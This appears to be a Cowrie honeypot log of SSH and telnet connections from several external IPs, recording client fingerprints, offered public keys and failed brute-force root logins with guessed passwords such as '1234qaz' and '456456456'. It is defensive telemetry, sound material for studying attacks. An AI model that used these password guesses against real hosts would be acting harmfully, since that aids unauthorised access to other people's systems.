{"eventid":"cowrie.login.failed","username":"root","password":"1234qaz","message":"login attempt [root/1234qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:40.949999Z","src_ip":"103.195.236.96","session":"8f1c4319ca8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:42.194077Z","src_ip":"103.195.236.96","session":"8f1c4319ca8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7930fb815288","protocol":"telnet","message":"New connection: 192.119.13.58:44162 (10.17.0.5:23) [session: 7930fb815288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:08.874242Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45404,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f53245b78f","protocol":"telnet","message":"New connection: 192.119.13.58:45404 (10.17.0.5:23) [session: 14f53245b78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:09.166359Z"}
{"eventid":"cowrie.session.closed","duration":3.6473336219787598,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:12.521443Z","src_ip":"192.119.13.58","session":"7930fb815288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.176.244","src_port":43882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe556ba24fa","protocol":"telnet","message":"New connection: 38.137.176.244:43882 (159.203.135.109:23) [session: 4fe556ba24fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:14.435602Z"}
{"eventid":"cowrie.session.closed","duration":13.833907127380371,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:28.269426Z","src_ip":"38.137.176.244","session":"4fe556ba24fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.06872248649597,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:48.234974Z","src_ip":"192.119.13.58","session":"14f53245b78f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":46236,"dst_ip":"159.203.135.109","dst_port":22,"session":"b718ae082c48","protocol":"ssh","message":"New connection: 103.15.222.183:46236 (159.203.135.109:22) [session: b718ae082c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:48.687611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:48.692685Z","src_ip":"103.15.222.183","session":"b718ae082c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:48.936543Z","src_ip":"103.15.222.183","session":"b718ae082c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456456","message":"login attempt [root/456456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:49.669653Z","src_ip":"103.15.222.183","session":"b718ae082c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:15:50.916890Z","src_ip":"103.15.222.183","session":"b718ae082c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58444,"dst_ip":"10.17.0.5","dst_port":22,"session":"112ff235c0d5","protocol":"ssh","message":"New connection: 103.27.238.120:58444 (10.17.0.5:22) [session: 112ff235c0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:02.360478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:02.365674Z","src_ip":"103.27.238.120","session":"112ff235c0d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:02.643410Z","src_ip":"103.27.238.120","session":"112ff235c0d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"0939ee98f6d3","protocol":"telnet","message":"New connection: 192.119.13.58:43186 (10.17.0.5:23) [session: 0939ee98f6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:02.674385Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345.","message":"login attempt [root/12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:03.474777Z","src_ip":"103.27.238.120","session":"112ff235c0d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:04.757517Z","src_ip":"103.27.238.120","session":"112ff235c0d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.247.134","src_port":42090,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9d2373a71d","protocol":"ssh","message":"New connection: 142.44.247.134:42090 (10.17.0.5:22) [session: 2b9d2373a71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.144278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.152359Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.173270Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:1c:1a:04:8c:97:64:10:2d:7e:21:32:bf:36:70:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICXfqXiblxl1VYxXArM7USHVYTJCjw9Ii4eo7LuHxGQ+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c4:1c:1a:04:8c:97:64:10:2d:7e:21:32:bf:36:70:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.253518Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:1c:1a:04:8c:97:64:10:2d:7e:21:32:bf:36:70:26","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICXfqXiblxl1VYxXArM7USHVYTJCjw9Ii4eo7LuHxGQ+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.257256Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:7f:f0:ac:4e:45:e6:51:ed:d1:aa:f6:34:cb:40:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAypTLV1X3ZYA2EtWWSU69bgDmpmBK0sWliLBUk7Ogyzc4CKho3MlPwzey2pVZXUtaPLxUVoH14oY8iM+NiNGpNd14GGlouUYEvVX/hVRUKIIBYCZqxeIF5BHCPJ8qE/NAGpNa88BbsPgE04WriFqKb7c7g5K6QOy4SXqQE4Nt10XjtsKyjEAC6+OevfSd3/RLvOwl6UUgMjZjhaauho0JOcGRQrev/LfRHU5RsKX0BiV4JWPHQYujQS+myJUYcF31TtdHd9HixtfkhDFBCtWYSgjepDHGdXytJVBW8mk+z20K4kOHgR2s8H5cdGfO890xb2vClfZ3qdMbM4E6vYKq+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:7f:f0:ac:4e:45:e6:51:ed:d1:aa:f6:34:cb:40:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.278022Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:7f:f0:ac:4e:45:e6:51:ed:d1:aa:f6:34:cb:40:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAypTLV1X3ZYA2EtWWSU69bgDmpmBK0sWliLBUk7Ogyzc4CKho3MlPwzey2pVZXUtaPLxUVoH14oY8iM+NiNGpNd14GGlouUYEvVX/hVRUKIIBYCZqxeIF5BHCPJ8qE/NAGpNa88BbsPgE04WriFqKb7c7g5K6QOy4SXqQE4Nt10XjtsKyjEAC6+OevfSd3/RLvOwl6UUgMjZjhaauho0JOcGRQrev/LfRHU5RsKX0BiV4JWPHQYujQS+myJUYcF31TtdHd9HixtfkhDFBCtWYSgjepDHGdXytJVBW8mk+z20K4kOHgR2s8H5cdGfO890xb2vClfZ3qdMbM4E6vYKq+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.282205Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:f5:42:96:a4:93:91:aa:2c:5b:8d:68:fe:57:ec:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrg74OuaSykVpoOEr9/1gbYuYFPxEk/19BIH7kvBMQxdqAArDtHDdlXfTlmeFlBMUXKZLlwaZs20JRGXfk856mSTPq9EJwqPk5yM4rR2jU1OXk2dGDqGix+rfd4OAbQFnKhJGl/aUnHIiZTjJ6YHM0+fnrwRCcBKeUeA+KUMhXqHtaZ2yufeXInk0xactENe2WCXCQ2GKaB4JtJibZcbxrbAmZxwOuB/SvNHUo5O8Diodtp1Okg4ENe0B2I1SWG8fPju9z8O/f7gSWKaMm3RlMUO60oB49dK7IwiMQtSWY0abT77jNf7y0O8M/UIF1O8DSHX8+GSvPGsSnWN3ZG9uZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:f5:42:96:a4:93:91:aa:2c:5b:8d:68:fe:57:ec:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.302879Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:f5:42:96:a4:93:91:aa:2c:5b:8d:68:fe:57:ec:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrg74OuaSykVpoOEr9/1gbYuYFPxEk/19BIH7kvBMQxdqAArDtHDdlXfTlmeFlBMUXKZLlwaZs20JRGXfk856mSTPq9EJwqPk5yM4rR2jU1OXk2dGDqGix+rfd4OAbQFnKhJGl/aUnHIiZTjJ6YHM0+fnrwRCcBKeUeA+KUMhXqHtaZ2yufeXInk0xactENe2WCXCQ2GKaB4JtJibZcbxrbAmZxwOuB/SvNHUo5O8Diodtp1Okg4ENe0B2I1SWG8fPju9z8O/f7gSWKaMm3RlMUO60oB49dK7IwiMQtSWY0abT77jNf7y0O8M/UIF1O8DSHX8+GSvPGsSnWN3ZG9uZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.306866Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:c8:b5:ff:c1:d8:b6:b8:05:0f:a0:bf:cf:aa:54:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5cmAvOwzwhOgX9FY9p7wQbUg6bfBwEjwbuJt6GvcJh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2d:c8:b5:ff:c1:d8:b6:b8:05:0f:a0:bf:cf:aa:54:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.327003Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:c8:b5:ff:c1:d8:b6:b8:05:0f:a0:bf:cf:aa:54:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5cmAvOwzwhOgX9FY9p7wQbUg6bfBwEjwbuJt6GvcJh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.331405Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqkIyoCHVYMQ1oaZnufAN8CsY8uQ7fQsIU04YMIPnGpFZfRRle1vEkcIM6dhWZRf5D/TyIERjIJLCNmE0Cnovot/FAxILGaxLN/dkmvt9cKz98JB2ZEPQpAskngOp23YnZKbSKEQFfqyURmnrGauaCpsrkRsJskdPFDOM1hgy7TNg7sq4gCwcbymdCdr1TXgo3+e/LO+Bi6kpNvu9qOdiXgtHhxV8v/Ih+ESOlL2Z+KTW/Ir8X0wkFwNCyJNXD9xtAXgLXmNksfcenPsVF7FT4EsLurYMCRlS5Hqph2FdLQXoH9E2DL6rjm3N1TIZg3wPSUF85q3Z4taP+9xVEHvMy9G8+ce1X1s6KR9tjp5eVYUchiWlN+viHCQyItwm7TAwX1VTrSm2x0Pgv6A05WvgtNqOv++wm2dOVGt33pX5Pv1fwXORnSepOsP2gAWySSe6+OyODZ647sbJfX4Ayb9vygY6mIb7or0u/fm2i5h447tnA7B42fBQ0oi/hudk43ewN1h423CG5S4OQnTL6rHAU5V6jWBuMRr6ZsE1fflZSObRsIhu4+ZfvWzkjIWPvDGfhrE2bc05mfeTtOKhBndJU5BjbiQ6Xuj9TNS+ELRb/7EUQWlnsNdbd0Q+CTwfmYktGLFCGYi4qn2Uo/dV+SYJLXSa227dw3em/XihPewdGzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.353051Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:0c:a8:0d:64:88:35:b8:1f:90:9e:a4:4d:87:88:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqkIyoCHVYMQ1oaZnufAN8CsY8uQ7fQsIU04YMIPnGpFZfRRle1vEkcIM6dhWZRf5D/TyIERjIJLCNmE0Cnovot/FAxILGaxLN/dkmvt9cKz98JB2ZEPQpAskngOp23YnZKbSKEQFfqyURmnrGauaCpsrkRsJskdPFDOM1hgy7TNg7sq4gCwcbymdCdr1TXgo3+e/LO+Bi6kpNvu9qOdiXgtHhxV8v/Ih+ESOlL2Z+KTW/Ir8X0wkFwNCyJNXD9xtAXgLXmNksfcenPsVF7FT4EsLurYMCRlS5Hqph2FdLQXoH9E2DL6rjm3N1TIZg3wPSUF85q3Z4taP+9xVEHvMy9G8+ce1X1s6KR9tjp5eVYUchiWlN+viHCQyItwm7TAwX1VTrSm2x0Pgv6A05WvgtNqOv++wm2dOVGt33pX5Pv1fwXORnSepOsP2gAWySSe6+OyODZ647sbJfX4Ayb9vygY6mIb7or0u/fm2i5h447tnA7B42fBQ0oi/hudk43ewN1h423CG5S4OQnTL6rHAU5V6jWBuMRr6ZsE1fflZSObRsIhu4+ZfvWzkjIWPvDGfhrE2bc05mfeTtOKhBndJU5BjbiQ6Xuj9TNS+ELRb/7EUQWlnsNdbd0Q+CTwfmYktGLFCGYi4qn2Uo/dV+SYJLXSa227dw3em/XihPewdGzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.357325Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:11.380316Z","src_ip":"142.44.247.134","session":"2b9d2373a71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43376,"dst_ip":"10.17.0.5","dst_port":23,"session":"4821abe5b5ea","protocol":"telnet","message":"New connection: 192.119.13.58:43376 (10.17.0.5:23) [session: 4821abe5b5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:16.295606Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60078,"dst_ip":"10.17.0.5","dst_port":23,"session":"398f0280c0cc","protocol":"telnet","message":"New connection: 192.119.13.58:60078 (10.17.0.5:23) [session: 398f0280c0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:33.761306Z"}
{"eventid":"cowrie.session.closed","duration":38.75483155250549,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:41.429065Z","src_ip":"192.119.13.58","session":"0939ee98f6d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":42412,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ccb210dbbb","protocol":"ssh","message":"New connection: 94.159.109.207:42412 (159.203.135.109:22) [session: 64ccb210dbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:50.408471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:50.412737Z","src_ip":"94.159.109.207","session":"64ccb210dbbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:50.525587Z","src_ip":"94.159.109.207","session":"64ccb210dbbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkjlz","message":"login attempt [root/djkjlz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:50.865310Z","src_ip":"94.159.109.207","session":"64ccb210dbbb","protocol":"ssh"}
